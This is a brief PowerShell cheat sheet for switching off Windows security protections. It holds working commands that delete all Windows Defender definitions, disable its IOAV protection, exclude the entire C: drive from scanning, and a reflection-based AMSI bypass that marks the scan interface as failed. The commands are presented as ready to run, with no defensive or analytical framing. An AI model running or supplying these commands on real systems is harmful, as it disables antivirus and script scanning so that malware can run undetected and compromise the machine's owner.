Disable Windows security features

# Remove Windows Defender "Virus" Definitions
&'C:\Program Files\Windows Defender\MpCmdRun.exe' -RemoveDefinitions -All

# Disable Windows Defender
Set-MpPreference -DisableIOAVProtection $true

# Add an exclusion path (the entire C drive) in case Windows Defender comes back to life
Add-MpPreference -ExclusionPath 'C:\'

# Disable Microsoft's AntiMalware Scan Interface (AMSI)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null,$true)